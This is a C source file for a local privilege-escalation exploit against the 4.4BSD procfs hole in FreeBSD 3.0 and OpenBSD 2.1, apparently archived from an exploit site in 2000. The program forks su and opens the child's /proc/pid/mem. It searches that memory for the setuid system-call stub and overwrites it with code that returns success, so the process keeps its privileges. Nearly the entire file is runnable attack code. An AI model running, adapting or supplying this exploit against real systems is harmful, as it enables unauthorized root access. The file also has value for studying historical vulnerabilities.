/* FreeBSD v3.0  OpenBSD 2.1-RELEASE */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

u_char search_code[13] = {
  0x8d, 0x05, 0x17, 0x00, 0x00, 0x00,           /* leal 0x17, %eax */
  0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00};    /* lcall 7,0 */

/* just do a xor %eax, %eax and then a ret */
u_char new_code[] = {
  0x31, 0xc0, 0xc3};

main(int argc, char **argv)
{
  int pid;
  int fd;
  char buff[40];
  char *user;

  /* might need to tweak these */
  u_int offset=0x8003000;
  u_int offset_end = 0x8099000;

  if(argc < 2)
    {
      fprintf(stderr, "%s user\n", argv[0]);
      exit(1);
    }
  printf("Demonstration of 4.4BSD procfs hole\n");
  printf("Brian Mitchell <brian@firehouse.net>\n\n");
  printf("after you see \"setuid changed\", enter the pw for the user\n");
  printf("\aBe warned, searching for the setuid() function takes a long time!\n");
  user=argv[1];
  pid = fork();
  switch(pid)
    {
    case -1:
      perror("fork");
      exit(1);
    case 0:
      /* give parent time to open /proc/pid/mem */
      sleep(3);
      execl("/usr/bin/su", "su", user, NULL);
      exit(0);
    default:
      sprintf(buff, "/proc/%d/mem", pid);
      fd = open(buff, O_RDWR);
      if(fd < 0)
        {
          perror("open procmem");
          wait(NULL);
          exit(1);
        }
      /* wait for child to execute suid program */
      sleep(6);
      /* stop the child */
      kill(pid, 17);
      printf("searching - please be patient...\n");
      /* search for the setuid code */
      while(offset != offset_end)
        {
          lseek(fd, offset, SEEK_SET);
          read(fd, buff, 13);
          if(!bcmp(buff, search_code, 13))
            {
              lseek(fd, offset, SEEK_SET);
              write(fd, new_code, 3);
              printf("setuid changed (0x%x)\n", offset);
              /* sigcont child */
              kill(pid, 19);
              wait(NULL);
              exit(0);
            }
          offset++;
        }
      printf("setuid not found!!\n");
      kill(pid, 9);
      wait(NULL);
      exit(1);
    }
}

/*                    www.hack.co.za              [2000]*/